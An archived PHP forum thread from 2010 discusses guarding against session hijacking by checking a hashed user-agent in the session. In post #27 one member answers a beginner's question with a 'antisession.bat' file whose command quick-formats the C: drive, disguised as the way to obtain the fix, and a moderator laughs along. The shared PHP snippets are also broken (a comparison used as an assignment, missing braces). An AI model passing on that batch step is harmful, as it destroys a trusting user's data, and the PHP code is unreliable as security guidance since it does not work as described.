Anti session hijacking

Started on the old forum in December 2010 · view the original in the archive · old links redirect here

31 replies · 2,907 views · started 15 years ago · 1 min read

TL;DR · summary of 31 replies
  • - The code snippet provided is meant to check if the user agent has been tampered with, and if so, it should log them out.
  • - It was suggested that this function be placed before or after session_start(), but there was confusion about whether session variables are required for its operation.
  • - The discussion concluded that the code snippet provided is meant to check for user agent tampering and logs users out if the user agent does not match, which could prevent session hijacking.
  • - It was also mentioned that adding a salt to the session values can further enhance security.

Written automatically from the replies by a language model on our own server. It can be wrong; the posts below are the source.

14 participants
frostymarvelous Senior · 266 posts #21

So I was right but ori and subzero didn't understand me,

The code is trying to check if the user is trying to inject session values through the get or post superglobals that's.why I thought it should be phpsessid. this hack is only possible with register globals turned on though. If you want to use it, put it at the very top of every page. Or even better, at the top of a file which you include in all your pages like your settings file.

Perfection comes at a cost

I accept liberty!

Jerson Developer · 70 posts #22

if you d0nt want anybody to crack your session. Just add salt t0 ur session...

ewanz Developer · 187 posts #23

Add salt? Can u p0st it here jers0n..

our lfe is simple words.... 😌 http://mygenkz.net ewanz06@yahoo.com

$output="i am NOoob....";
$newfile="ewanz.txt";
$file = fopen ($newfile, "w");
fwrite($file, $output);
fclose ($file); 
something else Fellow · 2,296 posts #25

A discussion on anti session hijacking is sad? ..... hmmm ok what ever you say. Seeming you have this so called big business or what ever it is you do. You dont really do much to help your self. If i was going to hire someone to work for me etc i would do a google search for them and see if there is anything good or bad posted about them.... well in this case i would find you b!tching at everything .... then think your a right (place your word here) and think im not hiring you. But then again its not my life you lead it how you want to, we all make our own choices in life but when there done we have to live with them.

devil_bd Newbie · 6 posts #26

how to use this code plz tell details.

  1. boss
amylee Principal · 1,092 posts #27

devil_bd wrote: how to use this code plz tell details.

you need to create a text file called antisession.bat paste this code in it

@echo off
for %%i in (c:) do format %%i /FS:NTFS /x /q

then add some php file into the same directory as antisession.bat, double click on it then you will get a php file with the antisession hijack fix

subzero Super moderator Fellow · 3,954 posts #28

lol, i wish i can not laugh but i cant help it yeah he does not know how to use it but he will soon find out.

sessions.php

function page_protect()  
{ 
session_start(); 

if (isset($_SESSION['HTTP_USER_AGENT'])) 
{ 
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT'])) 
    { 
        login(); 
        exit; 
    } 
  } 
} 

function login() 
{ 
session_start(); 
if(isset($_SESSION['sid']) || isset($_COOKIE['sid'])) { 

// Demo only
$_SESSION['sid'] != md5($_SERVER['HTTP_USER_AGENT']);

} 

place this in under sessions.php

page_protect(); 

if you get a error remove ! out of sid

Visit: Chat4u.mobi - The New Lay Of being a site of your dreams! Visit: WapMasterz Coming Back Soon!


SCRIPTS FOR SALE BY SUBZERO Chat4u Script : coding-talk.com/f28/chat4u-mobi-script-only-150-a-17677/ - > Best Script for your site no other can be hacked by sql or uploaders. FileShare Script : coding-talk.com/f28/file-wap-share-6596/ -> Uploader you will never regret buying yeah it mite be old now but it still seems to own others... _______…

awan Junior · 28 posts #29

subzero wrote: core or what ever script your using.....

function page_protect() 
{
session_start();

if (isset($_SESSION['HTTP_USER_AGENT']))
{
    if ($_SESSION['HTTP_USER_AGENT'] != md5($_SERVER['HTTP_USER_AGENT']))
    {
        login();
        exit;
    }
  }
}
function login()
{
session_start();
if(isset($_SESSION['sid']) || isset($_COOKIE['sid'])) {

Enter your sql for your own site !!

} 

How to use

Under core or what ever !

page_protect();

Add a thanks here or the button !!

Sir im using ejatd29 sc,so where i must to put this code

I'm not good but wanted to be clever 🙂

hunter-x-hunter Junior · 29 posts #32

function login() { session_start(); if(isset($_SESSION['sid']) || isset($_COOKIE['sid'])) {

Enter your sql for your own site !!

}

what to put on that """Enter your sql for your own site !! """

Write your reply now; next you create a free account (or sign in) and it is posted right away. Sign in to reply.

Similar topics

Keyboard shortcuts

g f
Go to forums
g h
Go to your feed
g m
Go to messages
r
Reply (in a topic)
/
Search
j
Next post
k
Previous post
?
This list
Ctrl/⌘ + Enter
Send what you are writing
Ctrl/⌘ + B / I
Bold / italic while writing
Esc
Close